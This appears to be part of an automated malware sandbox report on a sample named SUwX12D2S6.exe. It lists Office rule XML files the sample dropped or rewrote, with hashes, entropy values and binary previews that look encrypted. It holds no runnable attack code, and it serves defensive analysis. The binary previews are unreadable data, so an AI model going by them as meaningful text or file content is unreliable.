Preview:	<?xml.a..Y.....k.FQ.n.7.....j.1..X.vi.......P\.t...#&.....'.;2....(.{..k..ga.7.`'.A.D...6.p,....^E...q.0.id.]y....R..t../4..A.9.....QGA..G.v.c-:.OY...1..cK<..!;.-..Hr_...u......{..........<....?..]...s.(..=.....G.f.)..8.w0.)....J.[..i...^.-.`!...l.L#.!...:...Y.#9.....$.Dt.w..u.Rz...."/.{.zM.$.q........Fg.....{..o...p.......Q.x.0.P..J...m......)o.:%...S..U)i.X.y..m ..4.G...d..3......b.k..#.&..[....,R.W..C..G.....!:..F...?.a#....R.7.s.K...Yyd.z.to..J.][!.pt.K.[.0....o6.3~.&.l,t..c...Rd.A;G...sr..DU..:7..P.<...cX...9....!.J...P...y.`.t.z..f$3&...w.j.6T.U..._.....pX._@j....\Q..#..M....P@Lp<.........zv..1..S_..!..G.Z...j..{.(..&v..T..(....o.$d.....v.y.x..W. 1.v...'-j..r.........<....&...C.Q.3.3(.-D.b......8}.\. ~T.O.W[.3......8/...F....R.[......i.ph?......r....&W..T.o{...B....E.,.)..lc......T....aL..}8a<g!.>.FG.).o........zfIF....d.+...'..c...yd.]._,..1..~. .......y.5[.#...&....6.;..O...U.{"FWy..K...zpFn6%..@..._...d...%]5...f.i.../W....Dk

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11265v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2096
Entropy (8bit):	7.91336289717002
Encrypted:	false
SSDEEP:	48:Mw6+q0KxdXi2WB1Ouz3zh5BC+1lFceFGboo4irmgueYTE88bFD:b630Udy2M1OuzdCSjLFHuuKb9
MD5:	5AB1B022C44412F418BEB824580C032A
SHA1:	D5AE7EABAA036B4A6EE54608B4A4F4ADE9C5D772
SHA-256:	1DAE5CA1E92B261AEFAE2B149DA6CDAF0117666762FEA87E7F7F7CDD7B81F78F
SHA-512:	A624B4E203B7A67488A1768F84FF68DE84123EF1FEB136B753AB7301CDC3A994EDBBF12F3BA3A2C530507371EE8379EBF5BA835FA1693A4C23DEF2E78B35BE70
Malicious:	false
Preview:	<?xml....&M...h....\|..4r.+..Z,......Q...j#...pf....!.7..7.h......V.t.(.d22b...d..X...O+.q.U....n....U..-..2...+ Y...mD.......#..[./t.Y...{...m.f.....].....}.c...V.M.2...?.~"J..1.../....Zy.&......i.'..G\.....E6nT..@...........l....j......(.:..z.7.]j.{.@r..K B..>...kM..(.u4f.%.o......?.z.h.....BFJ.`P...8...\| :.E.G......8.Yl..Y...>.guHF".d7..X2..:.d.S..\)a..\.I.......Y..I...l...'>.$..d..t.../b..=.<..2...C..:.{...7.V)....V.~.....<...?3....N...m.Inz;2....\G.....z........"f..1.;...] ]..8...;.../.~/U~i...U.C?YlJ....1.........yq<......r{..:).....k....$....)X.........s.$...7......*.~l".&.4..oX..\| ..(.!..^kU..V4Z-.e....f..l..1.-N......2.!Zr&..Y.d...iW..B....M.......a.9.J...S,.'}{....>... i..P.....34<....n1.{.IV.f.G1..`..F....4=........8......W...Z.6 z..?'..D_....3;nm.......{.lt.~..7..ZE.....8.\K..,...\|....,.4x=}.s.0=2.E.1.....HO...vqQ.m...d\d#.....F..C`...$f...Ar.D..uJ....p.D.H...'Ln...o....vb...6Nm.5.F.\|.{..lQ......ut.....:.U.1.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11285v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	7525
Entropy (8bit):	7.979151385517275
Encrypted:	false
SSDEEP:	192:PJGoRwcMZPa+CxlYn9QDV+x7eO5+EBNY7s:PJWravBRs707s
MD5:	335EB1EF2A4A509B017E9337FEA3E335
SHA1:	D8CA4BFD29FC3D8D8E7C0D3257BC1B3E5C58A1DC
SHA-256:	1468ED1BA9FA1CED0E48D5B624004863FD25F6EC967FFCAB6982DC4F299ED4C4
SHA-512:	5F121C878F3E36282344E53169F044CF804CD4BBE727E8AE610A9A2924C08746A2561654BFF42E6E89D2F6CC44A487C5037D7DBC181C3B422212756A493E54A0
Malicious:	false
Preview:	<?xmlK..2.1.m.....Fk....5v.#.xc......J:/.;d..;[%0.r-K.NZdd..S.&.lf...........$..89E.I.j...De..Kj9.....n.A.....P.......Io.f+..Q..1[m...`..H......."<. J$..`..[;\|..N...].t.....~)..)....@}...j.u.1F....$..........8.UQA.<e.m..l...j.....s=.z..b....Wu...x.F.w.5G..Ol.'.6...O.O..v<..w".y5.8.f(..\...8+..^..4$..8....b"......6...l...@.k./v1C>6&.na=Xt..eTg....>.<..R...L......J......`...4U[......H._`.....}...#........R...x2-.N2.:..v.N..A[....q..............j.K.YUS.?...]......4p..K^....$TB...1gV.$..a ..d.....KG......A%h]b.\.%r.Q.{.._...Ia?..}.GVp..:.A.o..\..@........,..-.YY...niD........U...H..I.`.Z.r.t..E..B3.>za70.....?.R>Q..N..(.....MM..G.J....l........m.g.>... .....N~N<.A.F.qX1\|S.....i.+._d.....~......"gt..b...>.7.B.i+2....)r.Y.'.B.7...kZ..-...Ut...}bJ,i..%.?8.T..'.K.T..z"....`.UoXp2gO..k.<..Zn....pN.g38?1.C..1..X.8..%m{....9.........3.!..VJ.....Hq.?..2.....ui.=.[.yM..=.!...A5..c=..8.....8.w...$(.!.g....8.?N..*.....<7..#:..a........z.VS$.:K......%V'

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11289v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4197
Entropy (8bit):	7.957847025290607
Encrypted:	false
SSDEEP:	96:NxswkzTX7JLvYqOF4CvhmX0PaJNwqGMMlUbJDYi9:N+lXJvY14w5PCNfGfm5Yy
MD5:	60BEBCEF732F7BBE048257EADCF5D54B
SHA1:	8F0BDC8B71DC94930A17C7AEBDCBADADF80B4746
SHA-256:	8B8DBC9E3AD55C9260AAADB94C8FA88DD2088BF6ACD806AF7C90F3E3239E54D4
SHA-512:	CE111E5BC15D55265B611FBBB059B11A16D4FF54D738F10EEC60E36497DFFD876D4502216AB242C7A901624724C23943BC6C28D5AD136C078F8269420D8E91D9
Malicious:	false
Preview:	<?xml;[.H.S...+......%....=.:.......S.A..+=.=.j..b....r.O=........4,..Jcc.x...Y6W.^.KW.y."...g8....8.[..w.L.E`...\._..5...4.B.6...(d...;<._.]cZ........\."......;Xu..k.S3+....C".)"...:.A..g.@....L.#.p.4o......a..hs.......j>..3.....L.-..m%.%.ZE....r;.....[...W..oX.H...>.l2.Vs.lvw.I14S.ce.L..9..{...4....#.e.hi....J.]U.^.....c`.A.l.Y.@.+.d...R.SyS.xx.....R#&.vp....V..$cq....w..D..i..}y.....:s....#..Q{.. ....[Hs..6..X.u.J.H.'..8L..h...0"S..{\|9.....?....YFm....O...t@.--..5.P....Z^.QI8?..%.d0......}v...&u...W...cqF0 .!.+...o....s..%.%.C.<K...............o.uK...}&..&..Nq.?.....exY.....{[..:=.(.-,.m..oR...J..1.......?G'...O...I[.J~.S..3g.-x.L.1b...z.J0.-.BG...J..!.CrJ.DA..Ku.H=.f..\|..u....x.=.y...A...2..+.5........\|..1>....~/...Q.MV.WQ.Wb...U....u_..T5...L?..._.....2v..F/.E^._.m..l.....0 . .I e...]:...L._..v..E.C..^Q.d..(...^Z.j.:..q.!..]:h..U.8......r..G.;..Nvd.........BZ....V...~j{.B....1\..3.Z...S.?.C....UO/...?./...i...Ez..D.......6.K..{...=.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11300v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	7.966161056360053
Encrypted:	false
SSDEEP:	96:eOQCNCp0TfpVBN6Me2nQfqAmIPxwtBf2YxdHmWxg2v9Sx115GqokxO9:P1Cp0Tf7v6MfnXf3dHLCmHEe
MD5:	E6BEB058A13981E0286CFB237DFFF61E
SHA1:	D719725CA6864E79011A945B736B1BF0846BAF1F
SHA-256:	2E4F60B15B7B44466FEF72818D88FFF225E07C597624CA04BD40D009CA44BBE9
SHA-512:	8F4AEC98566257949C2F92CCB6B82400B17146C09242532A6DAEAD870BC618A0706116EC40112C3E28D33C258E7E4116F420DB1BBBD12FBA141A90AF270417AC
Malicious:	false
Preview:	<?xml.............rS.\.gt....J.P5]..<....M..3.k ....=.?.._....t.^....X..5....<]xzp.d..ug.!.^q0....tQy.....E.j..].4....M..7.i.!.3n.k.(.9.j.{..$~.@.#..>.R....I...5\,.?..k.r.h.....WW.qi.....}..(....r.6...sP.Jq.>...F.8....4.MwGw.!..p.6.X[........L...%b.5.&c..]......3.+....J.+@..~.:.S...(....1..Mft.k.Ib.9..[....$.`.O.......7...%H.)..0~..h........Xn...+=.Y..5.<...........`.).G\|L......I.!`..t./).&A...].x1Jr..Sq....^....".........j.....#.%.Z.2...1.=.k.E...]..-..8.M .#[.@.<..J...Y..D...mo1w.q@..:....7.7..&"..H...{.....a.4.I[..R.zX2d...#.....5.H.z.......I..K\...c,T....#{..3..5>..&F;.Z....9X..x..R]....@...T.b.<.....E...r.~.R..g.2.U....}Hgx\...O.\v..,.......T.=.yTB..M.eK9\|......yZtLY....\Q.......kN....}_ .._Bt.7..M...1y.sh)./.N...U..Q]...(..).......O...&;.B.E..mh...cE..m..2.`.\|.. ..[....Q\|.yv.z3.....J.......r...a..=.8R..#....C..vo'.7..(...d.cJ.(.H..F./{.~.f.....H..A#.].^...=..F^..H...!0...&....*U.>.....!.O..{..X.7...A.. ...E.f.O.,.=..zp..?..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11302v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2884
Entropy (8bit):	7.932405631336504
Encrypted:	false
SSDEEP:	48:2RTt37+yMlOka3cwBSbh0o/fvUHNsazLN2D6DulkFauGAVzyXuZoLl0E9FD:2RTt6yMlOkaswY10ioquSWauG/XSIZ99
MD5:	2DE296FC05D5F05872D4F77308CF16AC
SHA1:	50563145DD81920B243AD55D3290AF2CDA7FA375
SHA-256:	38577B8D1D8DD9FF661625DEBE749F1E9960C9C713274C38429A5A33700C62AD
SHA-512:	7F60A5CC5F37A10A69A42E55633A1B4545905FE65A34346B86E23B6F20B1213F1DBC09FD03F2CFE34214402AC94B587AB4FC66AE4F1911A0D635BDAAA6495463
Malicious:	false
Preview:	<?xml.........j...4.K.B3..a..Q..?...(e-w+..../...YDz&.q[....e.?h.?.........lO.......+H......d2(uA..s.BW..h.-..x..zLz.rt.f.x..T..)v...y...i...3.F.b..:.....\|...'t..IDe..]..v..>PT.....@....c.[T+.5.bXiF.C.O....Z.g. .!.!R.#.....6..M.s&.^*.O>...j...P.BH=.T.I..{..H.frq...O...`^...&^]X.!"q.==.A.86.....fy...!...W.;......."J.'.4..U.U...${G.=I.J....l...4.(C....9D.....A.f..j..0.]y...#..a..J;..<.+...z......tj...%.......=.;j}...y.LD<......+f..-...F.u..T....B..........R.W.=.8....[..........p..H.s..BR.=8.x.w_.Qn..........MQ.....j.L.)......o.Mbr/2\......Q...Z..m.9.=...o=..n.L....&.n.2...y.i.......Se:.X.2).......F.......................%.PJM.".j.P...:^hs..B...K..M..zd.+..1H...%...Ocn{..2.\|.R...............GM....5..".c......Tz..tq.H!4..\|..+..t[.?..L..{3wmX.=S.6~Q.Ep..1U0S..&.?6.6...U.7.[...8W-p..z.......#M.\|.^RW...8.,....(..7......8....a.Y..{...q..W...4..bv...&.j...&..\..".6......3.@.J./.S.yc.........%....}...R.f...I5[....l....Q..Y6..V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11362v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.966810936079698
Encrypted:	false
SSDEEP:	96:xLd28rzyZGYUouo9h4LuIsZSvVp5wiWpgQLEH6ud648UCr1KGiyevvId19:jPr+ZNUtVsZ0JWpPaDdmU6KqmIdb
MD5:	41276452B0EEEB2377F15BE1C0E8678A
SHA1:	2B85BD6895B97E5D2E543A213F475C451C3FFCFA
SHA-256:	6C7642F15062E2580B4F5DE5551858C27BE4B9E6BDCF48EC9E36FA009DF4E73D
SHA-512:	C24E3D4E35B63E5A712AF2261D2653721F64F3C4050E24B40BD0BECC467FEEE33DC71B312D7106EBAFA03AD103E659D71CB28EC48A8C8F8DB7B7C20DF23BABC4
Malicious:	false
Preview:	<?xml.#.,?6N.{...T........F...?.f.....q..q1..9.~g.....6.8.'..t.Ea....P.m..S..>y...+v.s].P.2V..1...Xdh.a."f%.R....%.x......<..$.t..] x.....2.@..........L...T8..[.g.(v9.u.....zG!2X.4..S..V..k....(Yf..,a...!..]..!.H..P.\|..8..+.F!..]B........U.a_..js.V..w......l.p$m..S.k,....`}2..L....U}..oNL..\4.1.K_..dP........G... ..Mi..(.F~e.......wT...d...W.V.x.F{.G.m....Q6C.)L..........t.0.o...EJz...y3y...._....&.8...S6..........g.P.......`..I.o..Bm...U.zW.....,~.....olV@..N...E{.l....Za..mR.e.L65.&.Go..f..Q..B....@.(.).1.... .#y.a>.0p+..Z2......lme..Z..zOq..4..Q%.)........3....WPN..}.8'e.qW.kY<.P#x.bR5..t.......-o..f.a..7....6y..l_..N(..K......<p.8..L.c...f.Q}l...%=....9x.Z...a..JU...v.....M-...^....+.^Q....9......5.....?....^..s...!......zHGl.X3xN8R.+....[...............$.Q3.........[....v.H.Y.....j. =......J.P.&R..........f......jmI._........y....XJ..p.q%...yb../....l....&..E.ZF.h....2}W1a....'0.)...?0^..WX./..0.M.\../.#.]....Rql0S..W@....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11369v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2023
Entropy (8bit):	7.903165001850189
Encrypted:	false
SSDEEP:	48:B2jwjGsocmTMZktghv+7qoJTG0ZwoZynZiFD:QjwjIFMWo+7xi8yZi9
MD5:	AB809BC3C3C251D52319106DCF3D1FF7
SHA1:	8C18E97638D71820F6109FB8E84AA3F5CFD0C781
SHA-256:	2F376F7E2540B06B1DA34AA74F41DBA7BF0F11EC61D7BF753402CFE7F013F953
SHA-512:	089F7DCD8A1868F2296E0851B969846CFEE1DF349F513426F38A092693CDC106EC98C9A9096694C1138F6A680E664A7AE95FF56A16C6C0B86A8D7120491F880C
Malicious:	false
Preview:	<?xml...~.\|.^.d.8.....O..N...\|..)..."T.v.....5...sUL..@.......$..2...6...H`o.q)7D7.e.J.(..p..9:..y...%.Z..TVaf...L!.`a7Q........O.0.... ....3.........'.9.......L...d.....i;.x.erA........4.i...-.KA..T.8.9.}...F8A)....]n.5....S8oG..t..QU...a.}V.@.v0-c...........U.........#....8.DP.6...,..s......".....k......Q...3..V"...}O....ENt.....}cFD~...n".:p..S.W..Hg%@X8[.....G....$R...i.1.1&>.....$8wo0.y..X.....Q)9..az.a........8w9.f.;.N.?....y.F.Y.....3C#[.bw.kr....j...b...0X..h.$..f. ...+...m.^%....^.3..})J........1.....u..M..$<.D..CH...^6..l-W........s.'{...yB...X."U...........&/b{.2.r...6.Vm..2..E.T<..vS.i...'+..}...~.......~V....g.^ a.cc..8:+\|".Q...N.$....o.c.E..=.......#5/.G.;u.....a..!gu.Ps...J....^..;m.PJ..-..x{..l..x....L..4.e.Z-..~$.2;.A.hm.Y.j<..R.S&...Z..:.....E.o.G...tz..Q..y/VD{......'/.F...?_Z.....b..*.9..+E......_:,..?LJ.;`.u/N.B..rzr`.Y%.R.#.....A.b.....a....P.$K..\:Tr..........D)...Q.@.....<...x.I.[...}C........L.>..p.6.K...BC.T....v.D....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11370v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1001
Entropy (8bit):	7.767703104204465
Encrypted:	false
SSDEEP:	24:LRf/XH4wFPgoWIebe3X+yUoD7N2/2iaADIsRizKwcvN/3i3ppcVbD:LRnX4K4oWI1woE/25mRgKhJi3jcFD
MD5:	E59F9F36D1FF5E189B845CD80778B7FD
SHA1:	3970F7D25ECC31DB57F468AFD887C1CACD2C9977
SHA-256:	B1B6563DF5AD06ACCAE21B48DD6C65C7EB47A4C55F960982BA11444CC1851894
SHA-512:	AA70CA9F16905D3DF687B07BEC3E519BA581849252259C580B380078BE3B02C1C2A2F1FBDEC7902D0E2B7CE871F4D35230FCB2A9076BCC8DBD936DE4AACD94E6
Malicious:	false
Preview:	<?xml.1g._.....c......'%.Hr......\|$..........n......t.A...C.b..D.8...1..w.m.k......4D@_.[..&6...>.-...7e.{.F.....Q...5....Rb.7r!........x. ^+c..m...h.F..v..bu.A.-.....A.XK...e.\@z.egc.$...8...d(R.O`....6k..Y.F..C.$k..(.h..4.C..&.....5..I..Q@.....n....^...Zm.\|y...;n..3:.g\.........q.<..0[P.S%....).#..[..[...r..1.........7..%.......e..7.h....7.tx/.K.((.BO.N..w...d..d~.!.U .. ..fK...0.Zu..g.y..........Y.c..H{.z4".a<).*.3.Og.\..V8..R..!.-..ji..W.m.\|2.e...Co..0...m..t.e.i%U...h+G..yV.I2a.Y...-Y...jb,..!......o.g....).....f...M.Y .......0.6.<_..;..K....h1.=.$....+.3.u1..C....S.:z...'(\|.xFh>MxYe.)=xm..Y2[..yI..2....0.9>...Rl........H.....n.`u.,.......0..)..N.....O..4l.!8....@....6^.n.{.9..`.^j%gxB.%.0t:].`..O...:.b....z;T..HAg......"B)l..].Z..^..........+M......\|p..b1M-/.-.=...=..RK.e.?__..,.O.3.....PE4........I.L.....wU~..y..\|\|....W.y.r'~l:...]...(..d..Hgitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11381v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2743
Entropy (8bit):	7.932067272149658
Encrypted:	false
SSDEEP:	48:nB+CXkYFTXEvAdKrwJkjroFIi+Bma64jRGQNm5He5dGHM6QDoH4SLXRwucf3TIA9:n0MFTW4JkH0IAadR/oYF6QDy4oR8vUA9
MD5:	73217FEFB9278FBEB4A72778B185617C
SHA1:	48C232CFDBBEDFD86F92C0ED0E07320FFE04A4AB
SHA-256:	A229FC79E386300ED91B67E2663DB75C1AE6D240F716703DF4CDDD347538CB89
SHA-512:	35AE4D8E6ECE151303D8F358DE7CEA1301E49A85A743E64EB21E86B3A950E090DD47451479BD5BC155AAD3E2242203A3B148E4D61C4381462C552A152CB92B63
Malicious:	false
Preview:	<?xml.....?..f.;Y..`.z.....x.0...1...]]J.`.\|.....5,5c.T.)...!w..C.....<..&.....\........f.......S...%.wzd.u..D+...O._..8......m...d2...Y7..r..]F...j@.H..p...d..x.`.D~...,4n..l...{..k....+..%t.D...K.H..Jr......!.g..T.....6..2.....7....{.W1...c....V....VW..4..QJ....Bn7..t.9....X.>.......s....5...0.v...1F../G.U..Itf......U]."...P....,i..N...;B.!.B-...tL..Hx..2...f...HD.......^.8.XV.$k...r.r..M....a.\|..!..M..G]..O.l...T.%..`.c...8.....\|.....,.z.....Qe..y..w.j...e..5D....D......,{6..k...phEM..._......y....<<...V.Y..7F.NJ..(9...D4...$gw..$..b.........b..N..9...g..2bV.Z.C./2.H.."....G.A..DV:.pK.h-%.m........v....E........#...6z.1...?....~d.....Sc.`.a.....^...+.yW<..cS...i..N..j.R..g.K..v...v..}.....2.._...,.sidW...u.G...7@.[.u"..X..E1....B&.....3..j.......... ............ ....%E.]@.R0. ..7.E..\.S....b.]....h..a.}...gV..+..5..@..'..7...zh6.`e...QY......8.\9.Ka.>.$............Q?..>>_...n"...N.........'.4"...u..L"}.Sz...W......N...b..f.2l.E.h.))...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11446v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.982550194512137
Encrypted:	false
SSDEEP:	192:xTSArX8Zba5Jh55A/i24xnHAopYVZeVDMERFfkPKdRKAaGQwJ/:x2ArXMa/hTA/XVKhVkydfaGQG/
MD5:	38EFF753C901A1B37653BA16FB76AF5A
SHA1:	E0D47C0AF923615D76F8A99A4A019B95AF13AEF8
SHA-256:	89D48F18A8BBBCF4689036A4C8A0CCDF223DC69F1C78D7DF37EDD13432B23FC8
SHA-512:	68B787DD76E8498C146109EB3C8C3C2A8E7EA2FFEECC274BBB30927F474D183E1A0B358DF4D3CD316B7343C47725A254AB5D31A3C056C548F4A62C332EAB4513
Malicious:	false
Preview:	<?xml.bT.... #H..}..yv....r..4...`...9...)S.......R1..Q..eYObv.....neS.A{fC.7..B+.Q.....e...Hw..w@..g.=._....}6...m......iv..m.Y.y%...Ck......[....B..x...z.8.aH4B....;[.P..!t[..d....L....jBO........-4...<.%..'....e!x.....W]>.........O..T.K...o.SU.j........S:..W......r...s\|+5..z9...pH..%...2....S.:M....G...&....68...}b.lij.2Vz.66O~.....T..8.....o.z729.......D.K.......G....w!j\..x...2.m.j.h.>... .)L.0).".d..C.;{.G..1..t....R..=.......2...~.5...w...W....g.Rm..... .w.....$.0fH.....G....FZUFv...`u..Sh..\|n.H?....<.,e..V....G<HD..'.....&.~S......h.=.....`.1&l.......S.y....H...^\.UeSpv....6+.._.W\|A{.b2H.R.[.........,`..1...S...[(...gN2\|..xFij.).L..@A..\...?.9f...>.sM.X..k............_,....Z....\...19\$.:-`S<..;.v.[..o1.....r...d...4....D&.F./Xno\|..q...>0Z'.V.@'...x.>N'..........2u?...Y}.w.b..TD...v.y..](2...q!@...c..m.S-Mi.N.....A..u.5o...^^...5nO..;..G..B'..F..2...4.v..Ga.4...........3..$(Rn~....j..-.@..../J..(.W...\|v..7s3......'.Rk..O....f

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.719432031840049
Encrypted:	false
SSDEEP:	24:0jDdUZ6+C1YVB6RLcnyEzbCrd7jTPQr96BVbD:0jy9VARL4z+rLBFD
MD5:	259C07246E7213B965103D6A79E64A65
SHA1:	A0369779F127D6B2AEF4B4D0AD062EEB4D976061
SHA-256:	54FD583864B2DFC55C6110D2909B84D39E1F614E97851C2674DA6B1FD17EF9F9
SHA-512:	DD4DE29F3EC26F92C32D2A284E9948EEDC8B74E3E0183BA17A40AA0B5572E749DC838A3D122B56565253B3D74288CD640947782DB3C793524E185E86D1EFD3B4
Malicious:	false
Preview:	<?xmlI..0c..T..D..P4.i.g....ET+..Hk...}...Ak9.....i.(.^.b.Q.....8.P..<m.1.#.-.)..%.U..sA...w.&.<....... .0.6.:.g..M.>.-.m.n......I!.G..W..F.;p.(..\|n...9.N.T.v.6R....F..p.S....~Y.d{T.-J.9v....B...Z.N..A.?....e;.H6.@.;r.0..@.f........?O..d.....U3V.........UY..x...!!i...%Y.).X.)^.hN..9.L..k.....f....."w]Ob.(.tL.xPg...o....)Q\|...(..........+o...i.8.=.WJ.x..F..M?XX.0.....K.p..f-S...jn.)r.\|.)..'.......B.g.......M}.!u.R....:..;T..!8....k6.../.I...~..t. .\|b.O..p.1....e.,.E]R.Dn.aX.?....v.LvF...!C.......y.!.G....j.5j.... ..U5.r.(c.)..=U..q.L.,...Z.8....0Lv..J&.U...0.nO.6...j@F..&.`QW..b..e.^.......y."..g.7.J..*uJn..p4Y..'.hf....../<{t..\|UT..)....d....\|.._..%...:T..-V..2..+k....f...x..!...Iitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.716860851164965
Encrypted:	false
SSDEEP:	12:7vA70VQTItojIIbDGa/zjDMzaJI6FVMxF1lmisK2QXV3+lYx9zuVuXxp9K5jVciD:7vA703YI/arfEaJIE6xF1lmiL3/9GwxU
MD5:	3E92E2384ED6398481A5B377B7B2A16C
SHA1:	8D81787BA798F55F837E2393ECFCDDE1A7AB8525
SHA-256:	117A713BDB58541E35A588C61C844F7FE2B3756C074E9DEE75F1437A3EA065F3
SHA-512:	6829A49BFDBD088B77376BF5F3D0F61B2E6E9715250CD04C53668157126FEDC1A1604D8B1E66563DAF0540F05AF841405E406FEBE17A57B405E5B9C14D924891
Malicious:	false
Preview:	<?xml..dA1..oHt.H......e$...&XW5.E.}.[.L......+@r....`5......zh^...t......'.P....P.vFF.,mH,. ......X...i........HB...._...?....].ba.b."....g.wT..j.)(.2..o.......X...l.f./dx.}...n7.V.Tc.&w.-{R4..w.K,4..E. 4.cx.@...H.wQ..q...x;..c..rUve..^]-..)^..V.....[.3....v...O...5.6.ve.S.m..6..V.(2G>..5`e.t..].`.)_.....F.m...h..K../j@.....+.......;......+..u..e.K......A3!.C)`P.O.vK.3".kx...=..3.L..e.$.P....."..T.0..m..!.L..o...'.Xu..826t...~i.D.[Cc..l.aS...7.O.0..._....y..Y.v......mk......u......2.....*..V1...s..EP...Hhr\|..rW.v.......^e."S..\....PA.;%..X...xF..?7x..;#F..u.S.....lybu+...Pq..xwXJ.,......UY.!..G.....{K...{.$.DU.f......v..R..FUitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.895850644303697
Encrypted:	false
SSDEEP:	48:OLZLuHn1/KYsVlSIwHE2n1cAwVWw8S5j6kKiz185zhNbFD:8ZL81/Kh21a8Se685zhl9
MD5:	5D8746F9FE7E2D698AACEF9F278E538E
SHA1:	8348195B96D1BE09236888D9886F0B00572E3227
SHA-256:	FFA6828D52CBFFB320EEAF207C339E900208590F516AEE41F2629AC3A518D518
SHA-512:	9EC95A1587B13514330AB46A1622F6E2D4CAD2EB9A22F7D61CA139E0FFE09C48CD65C6671C21623A49D3712D1C69968BA4A206771C0782FCAC6BC4FC41319720
Malicious:	false
Preview:	<?xml.k$...a.e..=qJp....6..&...g......922V....._)S6c...)......{@T.&..>s.M.$.2{.J.3!.v^.}...P#....P...~t....o!]u....ia.].:;..\|+...}A..._u......]v.....Gd.-.z..lM..p..fBF....y.j.N.).Zw...sK.........T....]...Y..."....$.o..d(.,A.."....M..k..d3Y....z...a.t..8....C...C.w%..lR......W..(p.ixI4...].{.....>._.6...<!.D..>...\.h`...r.+f.....2..~t.T..>.F6...l0..oD...Q.....(y..@.g9B>.N.?...S"....`Z&..-m.m.......B..>..l.......:.BxS{V..O,.i..v.:\Y.......d2.E...h;J..%I0J.z.C..qs...N^.Fr.i..v/.,....qc..8..K..L$......"L......[.......&.%.1$.!....sJ.l=-...ky.=.....O..p..a.t1..j...#F."x)..EP..'y.vP.......,.p...\...z.F..i.xY...."..#G.o.d...m.g.=......,ez.OC........'K..SEx.p..[....0.e.-<.J.Z.Ca=.+rl.+n.K.-._m..H.7.e ........e'...T8f-..y.~...2...Ea"..q..\|...RU..$.....=.a..!..O.zN.H...E..GT si?q.Z..... ......l..d..HdI....r..s.0{.].g...].........O..0.j../.:W.V..F1..~.....LG.,.&...!.....2....Nd.I.5>...........@..f.4.r..y94./....(.}.PA..a...).....Y.y4...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.7619357900974
Encrypted:	false
SSDEEP:	24:AfSyCmBMusEt4uCq7t1gvAZveuw+1UiVrUNVbD:AqBiMu1KuC2t+vi2t+iecFD
MD5:	C7B1BA565935C7994BD96B41C4A323C3
SHA1:	4DDC24B5DF0BD4FACAFC07E994E17E65E2156F6A
SHA-256:	FFB2CF01217CD3E0B2DD0F71AB355744531A14D0EAE950F57015AC0BC5A85924
SHA-512:	53B4A57D99412F8E874258631F54DBD99DE13BF53AB1452262D4CEB03829D042729FAFF864B4E5C1F3DF65EFF4F2CA12A54C5BAB9CD538EED8EAE5E60C0D67A8
Malicious:	false
